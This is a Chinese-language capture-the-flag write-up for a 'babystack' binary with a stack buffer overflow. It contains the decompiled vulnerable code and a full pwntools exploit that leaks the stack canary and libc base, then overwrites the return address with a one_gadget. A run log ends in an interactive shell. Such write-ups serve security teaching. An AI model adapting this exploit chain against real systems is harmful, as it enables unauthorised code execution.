Pwn babystack writeup

源文件下载:http://file.eonew.cn/ctf/pwn/babystack.zip

程序功能介绍

安全防护

ex@Ex:~/test$ checksec babystack
[*] '/home/ex/test/babystack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

主程序

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int option; // eax
  char buf; // [rsp+10h] [rbp-90h]
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&buf, 0, 0x80uLL);
  while ( 1 )
  {
    show_menu();
    option = get_number();
    switch ( option )
    {
      case 2:
        puts(&buf);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, &buf, 0x100uLL);
        break;
      default:
        puts_inner("invalid choice");
        break;
    }
    puts_inner((const char *)&unk_400AE7);
  }
}

分析

很明显的栈溢出漏洞。

思路

  1. 读stack_guard
  2. 泄露libc基地址
  3. getshell

读stack_guard

sh.sendline('1')
sh.send('a' * 0x88 + 'a') 
clear()

sh.sendline('2')
sh.recvuntil('a' * 0x89)
result = '\x00' + sh.recvuntil('\n')[:-1]
result = result[:8]
stack_guard = u64(result.ljust(8,'\x00'))
log.success("stack_guard: " + hex(stack_guard))

这里要注意一下,由于stack_guard的低字节是'\0',所以我们要进行填充,要不然会被截断。

泄露libc基地址

由于__libc_start_main_ret_offset的值是对于同一glibc是固定的,所以直接用这个算就可以了。

sh.sendline('1')
sh.send('a' * 0x98) 
sh.sendline('2')
sh.recvuntil('a' * 0x98)
result = sh.recvuntil('\n')[:-1]
result = result[:8]
__libc_start_main_ret = u64(result.ljust(8,'\x00'))
log.success("__libc_start_main_ret: " + hex(__libc_start_main_ret))

__libc_start_main_ret_offset = 0x21b97
libc_base = __libc_start_main_ret - __libc_start_main_ret_offset
log.success("libc_base: " + hex(libc_base))

计算方法如下:

pwndbg> stack
20:0100│   0x7fff7f1d7aa8 —▸ 0x7fbca7227b97 (__libc_start_main+231) ◂— mov    edi, eax
21:0108│   0x7fff7f1d7ab0 ◂— 0x1
22:0110│   0x7fff7f1d7ab8 —▸ 0x7fff7f1d7b88 —▸ 0x7fff7f1d8029 ◂— './babystack'
23:0118│   0x7fff7f1d7ac0 ◂— 0x100008000
24:0120│   0x7fff7f1d7ac8 —▸ 0x400908 ◂— 0xa0ec8148e5894855
25:0128│   0x7fff7f1d7ad0 ◂— 0x0
26:0130│   0x7fff7f1d7ad8 ◂— 0x43cedf2cb609bb77
27:0138│   0x7fff7f1d7ae0 —▸ 0x400720 ◂— 0x89485ed18949ed31
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/ex/test/babystack
          0x600000           0x601000 r--p     1000 0      /home/ex/test/babystack
          0x601000           0x602000 rw-p     1000 1000   /home/ex/test/babystack
    0x7fbca7206000     0x7fbca73ed000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fbca73ed000     0x7fbca75ed000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fbca75ed000     0x7fbca75f1000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fbca75f1000     0x7fbca75f3000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fbca75f3000     0x7fbca75f7000 rw-p     4000 0      
    0x7fbca75f7000     0x7fbca761e000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fbca77ff000     0x7fbca7801000 rw-p     2000 0      
    0x7fbca781e000     0x7fbca781f000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fbca781f000     0x7fbca7820000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fbca7820000     0x7fbca7821000 rw-p     1000 0      
    0x7fff7f1b8000     0x7fff7f1d9000 rw-p    21000 0      [stack]
    0x7fff7f1e1000     0x7fff7f1e4000 r--p     3000 0      [vvar]
    0x7fff7f1e4000     0x7fff7f1e6000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p/x 0x7fbca7227b97-0x7fbca7206000
$1 = 0x21b97

getshell

将返回地址改为one_gadget,即可getshell,原本我还想这用system函数,但是实践的时候才发现,这个是64位的程序,栈的传递用的是rdx。

one_gadget

ex@Ex:~/test$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
one_gadget_offset = 0x4f2c5
one_gadget_addr = libc_base + one_gadget_offset
log.success("one_gadget_addr: " + hex(one_gadget_addr))

layout = [
    'a' * 0x88,
    p64(stack_guard),
    'b' * 8,
    p64(one_gadget_addr)
]

sh.sendline('1')
sh.send(flat(layout)) 

sh.sendline('3')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./babystack')

sh = process('./babystack')
context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def clear():
    sh.recvuntil('>> ')

clear()

sh.sendline('1')
sh.send('a' * 0x88 + 'a')
clear()

sh.sendline('2')
sh.recvuntil('a' * 0x89)
result = '\x00' + sh.recvuntil('\n')[:-1]
result = result[:8]
stack_guard = u64(result.ljust(8, '\x00'))
log.success("stack_guard: " + hex(stack_guard))

sh.sendline('1')
sh.send('a' * 0x98)
sh.sendline('2')
sh.recvuntil('a' * 0x98)
result = sh.recvuntil('\n')[:-1]
result = result[:8]
__libc_start_main_ret = u64(result.ljust(8, '\x00'))
log.success("__libc_start_main_ret: " + hex(__libc_start_main_ret))

__libc_start_main_ret_offset = 0x21b97
libc_base = __libc_start_main_ret - __libc_start_main_ret_offset
log.success("libc_base: " + hex(libc_base))

one_gadget_offset = 0x4f2c5
one_gadget_addr = libc_base + one_gadget_offset
log.success("one_gadget_addr: " + hex(one_gadget_addr))

layout = [
    'a' * 0x88,
    p64(stack_guard),
    'b' * 8,
    p64(one_gadget_addr)
]

sh.sendline('1')
sh.send(flat(layout))

sh.sendline('3')

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

不知道为什么,脚本总是会有莫名的I/O中断,多运行几次就行了,或许是我电脑有问题。

运行实例

x@Ex:~/test$ ./exp.py 
[*] '/home/ex/test/babystack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './babystack': Done
[+] stack_guard: 0x91ac88c2bfd4f500
[+] __libc_start_main_ret: 0x7fe665b12b97
[+] libc_base: 0x7fe665af1000
[+] one_gadget_addr: 0x7fe665b402c5
[*] Switching to interactive mode

--------
1.store
2.print
3.quit
--------
>> 
--------
1.store
2.print
3.quit
--------
>> $ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$  

鸡汤

世上无难事。